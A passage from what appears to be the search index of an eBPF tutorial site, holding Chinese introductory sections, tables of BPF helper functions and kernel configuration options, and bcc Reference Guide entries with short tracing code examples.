BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT functions BPF_PROG_TYPE_SOCK_OPS BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_SK_SKB BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() Base functions BPF_PROG_TYPE_CGROUP_DEVICE BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_MSG BPF_FUNC_msg_redirect_map() BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_apply_bytes() BPF_FUNC_msg_cork_bytes() BPF_FUNC_msg_pull_data() BPF_FUNC_msg_push_data() BPF_FUNC_msg_pop_data() Base functions BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() Tracing functions BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT functions BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() Base functions BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() Base functions Function Group Functions Base functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() Tracing functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_probe_read() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_current_pid_tgid() BPF_FUNC_get_current_task() BPF_FUNC_get_current_uid_gid() BPF_FUNC_get_current_comm() BPF_FUNC_trace_printk() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_perf_event_read() BPF_FUNC_probe_write_user() BPF_FUNC_current_task_under_cgroup() BPF_FUNC_get_prandom_u32() BPF_FUNC_probe_read_str() BPF_FUNC_get_current_cgroup_id() BPF_FUNC_send_signal() BPF_FUNC_probe_read_kernel() BPF_FUNC_probe_read_kernel_str() BPF_FUNC_probe_read_user() BPF_FUNC_probe_read_user_str() BPF_FUNC_send_signal_thread() BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_xdp_output() BPF_FUNC_get_task_stack() LWT functions BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » Program Types","id":"179","title":"Program Types"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含 <linux/bpf.h> 和 <bpf/bpf_helpers.h> 等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » Kernel Configuration for BPF Features","id":"180","title":"Kernel Configuration for BPF Features"},"181":{"body":"Functionalities Kernel Configuration Description Basic CONFIG_BPF_SYSCALL Enable the bpf() system call CONFIG_BPF_JIT BPF programs are normally handled by a BPF interpreter. This option allows the kernel to generate native code when a program is loaded into the kernel. This will significantly speed-up processing of BPF programs CONFIG_HAVE_BPF_JIT Enable BPF Just In Time compiler CONFIG_HAVE_EBPF_JIT Extended BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT Classic BPF JIT (cBPF) CONFIG_MODULES Enable to build loadable kernel modules CONFIG_BPF BPF VM interpreter CONFIG_BPF_EVENTS Allow the user to attach BPF programs to kprobe, uprobe, and tracepoint events CONFIG_PERF_EVENTS Kernel performance events and counters CONFIG_HAVE_PERF_EVENTS Enable perf events CONFIG_PROFILING Enable the extended profiling support mechanisms used by profilers BTF CONFIG_DEBUG_INFO_BTF Generate deduplicated BTF type information from DWARF debug info CONFIG_PAHOLE_HAS_SPLIT_BTF Generate BTF for each selected kernel module CONFIG_DEBUG_INFO_BTF_MODULES Generate compact split BTF type information for kernel modules Security CONFIG_BPF_JIT_ALWAYS_ON Enable BPF JIT and removes BPF interpreter to avoid speculative execution CONFIG_BPF_UNPRIV_DEFAULT_OFF Disable unprivileged BPF by default by setting Cgroup CONFIG_CGROUP_BPF Support for BPF programs attached to cgroups Network CONFIG_BPFILTER BPF based packet filtering framework (BPFILTER) CONFIG_BPFILTER_UMH This builds bpfilter kernel module with embedded user mode helper CONFIG_NET_CLS_BPF BPF-based classifier - to classify packets based on programmable BPF (JIT'ed) filters as an alternative to ematches CONFIG_NET_ACT_BPF Execute BPF code on packets. The BPF code will decide if the packet should be dropped or not CONFIG_BPF_STREAM_PARSER Enable this to allow a TCP stream parser to be used with BPF_MAP_TYPE_SOCKMAP CONFIG_LWTUNNEL_BPF Allow to run BPF programs as a nexthop action following a route lookup for incoming and outgoing packets CONFIG_NETFILTER_XT_MATCH_BPF BPF matching applies a linux socket filter to each packet and accepts those for which the filter returns non-zero CONFIG_IPV6_SEG6_BPF To support BPF seg6local hook. bpf: Add IPv6 Segment Routing helpersy. Reference kprobes CONFIG_KPROBE_EVENTS This allows the user to add tracing events (similar to tracepoints) on the fly via the ftrace interface CONFIG_KPROBES Enable kprobes-based dynamic events CONFIG_HAVE_KPROBES Check if krpobes enabled CONFIG_HAVE_REGS_AND_STACK_ACCESS_API This symbol should be selected by an architecture if it supports the API needed to access registers and stack entries from pt_regs. For example the kprobes-based event tracer needs this API. CONFIG_KPROBES_ON_FTRACE Have kprobes on function tracer if arch supports full passing of pt_regs to function tracing kprobe multi CONFIG_FPROBE Enable fprobe to attach the probe on multiple functions at once kprobe override CONFIG_BPF_KPROBE_OVERRIDE Enable BPF programs to override a kprobed function uprobes CONFIG_UPROBE_EVENTS Enable uprobes-based dynamic events CONFIG_ARCH_SUPPORTS_UPROBES Arch specific uprobes support CONFIG_UPROBES Uprobes is the user-space counterpart to kprobes: they enable instrumentation applications (such as 'perf probe') to establish unintrusive probes in user-space binaries and libraries, by executing handler functions when the probes are hit by user-space applications. CONFIG_MMU MMU-based virtualised addressing space support by paged memory management Tracepoints CONFIG_TRACEPOINTS Enable inserting tracepoints in the kernel and connect to proble functions CONFIG_HAVE_SYSCALL_TRACEPOINTS Enable syscall enter/exit tracing Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM Enable instrumentation of the security hooks with BPF programs for implementing dynamic MAC and Audit Policies LIRC CONFIG_BPF_LIRC_MODE2 Allow attaching BPF programs to a lirc device","breadcrumbs":"Kernel Configuration for BPF Features » BPF Related Kernel Configurations","id":"181","title":"BPF Related Kernel Configurations"},"182":{"body":"Intended for search (Ctrl-F) and reference. For tutorials, start with tutorial.md . This guide is incomplete. If something feels missing, check the bcc and kernel source. And if you confirm we're missing something, please send a pull request to fix it, and help out everyone.","breadcrumbs":"bcc Reference Guide » bcc Reference Guide","id":"182","title":"bcc Reference Guide"},"183":{"body":"BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 5. uretprobes 6. USDT probes 7. Raw Tracepoints 8. system call tracepoints 9. kfuncs 10. kretfuncs 11. lsm probes 12. bpf iterators Data 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str() 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() Debugging 1. bpf_override_return() Output 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output() 7. ringbuf_reserve() 8. ringbuf_submit() 9. ringbuf_discard() Maps 1. BPF_TABLE 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() Licensing Rewriter bcc Python Initialization 1. BPF 2. USDT Events 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 10. attach_func() 11. detach_func() 12. detach_kprobe() 13. detach_kretprobe() Debug Output 1. trace_print() 2. trace_fields() Output APIs 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 3. items() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 10. print_log2_hist() 11. print_linear_hist() 12. open_ring_buffer() 13. push() 14. pop() 15. peek() Helpers 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF Errors 1. Invalid mem access 2. Cannot call GPL only function from proprietary program Environment Variables 1. kernel source directory 2. kernel version overriding","breadcrumbs":"bcc Reference Guide » Contents","id":"183","title":"Contents"},"184":{"body":"This section describes the C part of a bcc program.","breadcrumbs":"bcc Reference Guide » BPF C","id":"184","title":"BPF C"},"185":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"185","title":"Events & Arguments"},"186":{"body":"Syntax: kprobe__ kernel_function_name kprobe__ is a special prefix that creates a kprobe (dynamic tracing of a kernel function call) for the kernel function name provided as the remainder. You can also use kprobes by declaring a normal C function, then using the Python BPF.attach_kprobe() (covered later) to associate it with a kernel function. Arguments are specified on the function declaration: kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) For example: int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} This instruments the tcp_v4_connect() kernel function using a kprobe, with the following arguments: struct pt_regs *ctx: Registers and BPF context. struct sock *sk: First argument to tcp_v4_connect(). The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"186","title":"1. kprobes"},"187":{"body":"Syntax: kretprobe__ kernel_function_name kretprobe__ is a special prefix that creates a kretprobe (dynamic tracing of a kernel function return) for the kernel function name provided as the remainder. You can also use kretprobes by declaring a normal C function, then using the Python BPF.attach_kretprobe() (covered later) to associate it with a kernel function. Return value is available as PT_REGS_RC(ctx), given a function declaration of: kretprobe__ kernel_function_name (struct pt_regs *ctx) For example: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} This instruments the return of the tcp_v4_connect() kernel function using a kretprobe, and stores the return value in ret. Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"187","title":"2. kretprobes"},"188":{"body":"Syntax: TRACEPOINT_PROBE( category , event ) This is a macro that instruments the tracepoint defined by category : event . The tracepoint name is <category>:<event>. The probe function name is tracepoint__<category>__<event>. Arguments are available in an args struct, which are the tracepoint arguments. One way to list these is to cat the relevant format file under /sys/kernel/debug/tracing/events/ category / event /format. The args struct can be used in place of ctx in each functions requiring a context as an argument. This includes notably perf_submit() . For example: TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} This instruments the tracepoint random:urandom_read tracepoint, and prints the tracepoint argument got_bits. When using Python API, this probe is automatically attached to the right tracepoint target. For C++, this tracepoint probe can be attached by specifying the tracepoint target and function name explicitly: BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") Note the name of the probe function defined above is tracepoint__random__urandom_read. Examples in situ: code ( output ), search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"188","title":"3. Tracepoints"},"189":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uprobe probe in Python via BPF.attach_uprobe() (covered later). Arguments can be examined using PT_REGS_PARM macros. For example: int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} This reads the first argument as a string, and then prints it with the second argument as an integer. Examples in situ: code","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"189","title":"4. uprobes"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，跟踪点在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。 于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"These are instrumented by declaring a normal function in C, then associating it as a uretprobe probe in Python via BPF.attach_uretprobe() (covered later). Return value is available as PT_REGS_RC(ctx), given a function declaration of: function_name (struct pt_regs *ctx) For example: BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} This increments the bucket in the dist histogram that is indexed by the return value. Examples in situ: code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 5. uretprobes","id":"190","title":"5. uretprobes"},"191":{"body":"These are User Statically-Defined Tracing (USDT) probes, which may be placed in some applications or libraries to provide a user-level equivalent of tracepoints. The primary BPF method provided for USDT support method is enable_probe(). USDT probes are instrumented by declaring a normal function in C, then associating it as a USDT probe in Python via USDT.enable_probe(). Arguments can be read via: bpf_usdt_readarg( index , ctx, &addr) For example: int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; This reads the sixth USDT argument, and then pulls it in as a string to path. When initializing USDTs via the third argument of BPF::init in the C API, if any USDT fails to init, entire BPF::init will fail. If you're OK with some USDTs failing to init, use BPF::init_usdt before calling BPF::init. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT probes","id":"191","title":"6. USDT probes"},"192":{"body":"Syntax: RAW_TRACEPOINT_PROBE( event ) This is a macro that instruments the raw tracepoint defined by event . The argument is a pointer to struct bpf_raw_tracepoint_args, which is defined in bpf.h . The struct field args contains all parameters of the raw tracepoint where you can found at linux tree include/trace/events directory. For example: RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} This instruments the sched:sched_switch tracepoint, and prints the prev and next tgid. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. Raw Tracepoints","id":"192","title":"7. Raw Tracepoints"},"193":{"body":"Syntax: syscall__SYSCALLNAME syscall__ is a special prefix that creates a kprobe for the system call name provided as the remainder. You can use it by declaring a normal C function, then using the Python BPF.get_syscall_fnname(SYSCALLNAME) and BPF.attach_kprobe() to associate it. Arguments are specified on the function declaration: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). For example: int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} This instruments the execve system call. The first argument is always struct pt_regs *, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). Corresponding Python code: b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") Examples in situ: code ( output )","breadcrumbs":"bcc Reference Guide » 8. system call tracepoints","id":"193","title":"8. system call tracepoints"},"194":{"body":"Syntax: KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) This is a macro that instruments the kernel function via trampoline before the function is executed. It's defined by function name and the function arguments defined as argX . For example: KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"194","title":"9. kfuncs"},"195":{"body":"Syntax: KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) This is a macro that instruments the kernel function via trampoline after the function is executed. It's defined by function name and the function arguments defined as argX . The last argument of the probe is the return value of the instrumented function. For example: KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... This instruments the do_sys_open kernel function and make its arguments accessible as standard argument values together with its return value. Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"195","title":"10. kretfuncs"},"196":{"body":"Syntax: LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) This is a macro that instruments an LSM hook as a BPF program. It can be used to audit security events and implement MAC security policies in BPF. It is defined by specifying the hook name followed by its arguments. Hook names can be found in include/linux/security.h by taking functions like security_hookname and taking just the hookname part. For example, security_bpf would simply become bpf. Unlike other BPF program types, the return value specified in an LSM probe matters. A return value of 0 allows the hook to succeed, whereas any non-zero return value will cause the hook to fail and deny the security operation. The following example instruments a hook that denies all future BPF operations: LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} This instruments the security_bpf hook and causes it to return -EPERM. Changing return -EPERM to return 0 would cause the BPF program to allow the operation instead. LSM probes require at least a 5.7+ kernel with the following configuation options set: CONFIG_BPF_LSM=y CONFIG_LSM comma separated string must contain \"bpf\" (for example, CONFIG_LSM=\"lockdown,yama,bpf\") Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"196","title":"11. LSM Probes"},"197":{"body":"Syntax: BPF_ITER(target) This is a macro to define a program signature for a bpf iterator program. The argument target specifies what to iterate for the program. Currently, kernel does not have interface to discover what targets are supported. A good place to find what is supported is in tools/testing/selftests/bpf/prog_test/bpf_iter.c and some sample bpf iter programs are in tools/testing/selftests/bpf/progs with file name prefix bpf_iter . The following example defines a program for target task , which traverses all tasks in the kernel. BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} BPF iterators are introduced in 5.8 kernel for task, task_file, bpf_map, netlink_sock and ipv6_route . In 5.9, support is added to tcp/udp sockets and bpf map element (hashmap, arraymap and sk_local_storage_map) traversal.","breadcrumbs":"bcc Reference Guide » 12. BPF ITERATORS","id":"197","title":"12. BPF ITERATORS"},"198":{"body":"","breadcrumbs":"bcc Reference Guide » Data","id":"198","title":"Data"},"199":{"body":"Syntax: int bpf_probe_read_kernel(void *dst, int size, const void *src) Return: 0 on success This copies size bytes from kernel address space to the BPF stack, so that BPF can later operate on it. For safety, all kernel memory reads must pass through bpf_probe_read_kernel(). This happens automatically in some cases, such as dereferencing kernel variables, as bcc will rewrite the BPF program to include the necessary bpf_probe_read_kernel(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"199","title":"1. bpf_probe_read_kernel()"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"Syntax: int bpf_probe_read_kernel_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from kernel address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()","id":"200","title":"2. bpf_probe_read_kernel_str()"},"201":{"body":"Syntax: u64 bpf_ktime_get_ns(void) Return: u64 number of nanoseconds. Starts at system boot time but stops during suspend. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"201","title":"3. bpf_ktime_get_ns()"},"202":{"body":"Syntax: u64 bpf_get_current_pid_tgid(void) Return: current->tgid << 32 | current->pid Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"202","title":"4. bpf_get_current_pid_tgid()"},"203":{"body":"Syntax: u64 bpf_get_current_uid_gid(void) Return: current_gid << 32 | current_uid Returns the user ID and group IDs. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"203","title":"5. bpf_get_current_uid_gid()"},"204":{"body":"Syntax: bpf_get_current_comm(char *buf, int size_of_buf) Return: 0 on success Populates the first argument address with the current process name. It should be a pointer to a char array of at least size TASK_COMM_LEN, which is defined in linux/sched.h. For example: #include <linux/sched.h> int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"204","title":"6. bpf_get_current_comm()"},"205":{"body":"Syntax: bpf_get_current_task() Return: current task as a pointer to struct task_struct. Returns a pointer to the current task's task_struct object. This helper can be used to compute the on-CPU time for a process, identify kernel threads, get the current CPU's run queue, or retrieve many other pieces of information. With Linux 4.13, due to issues 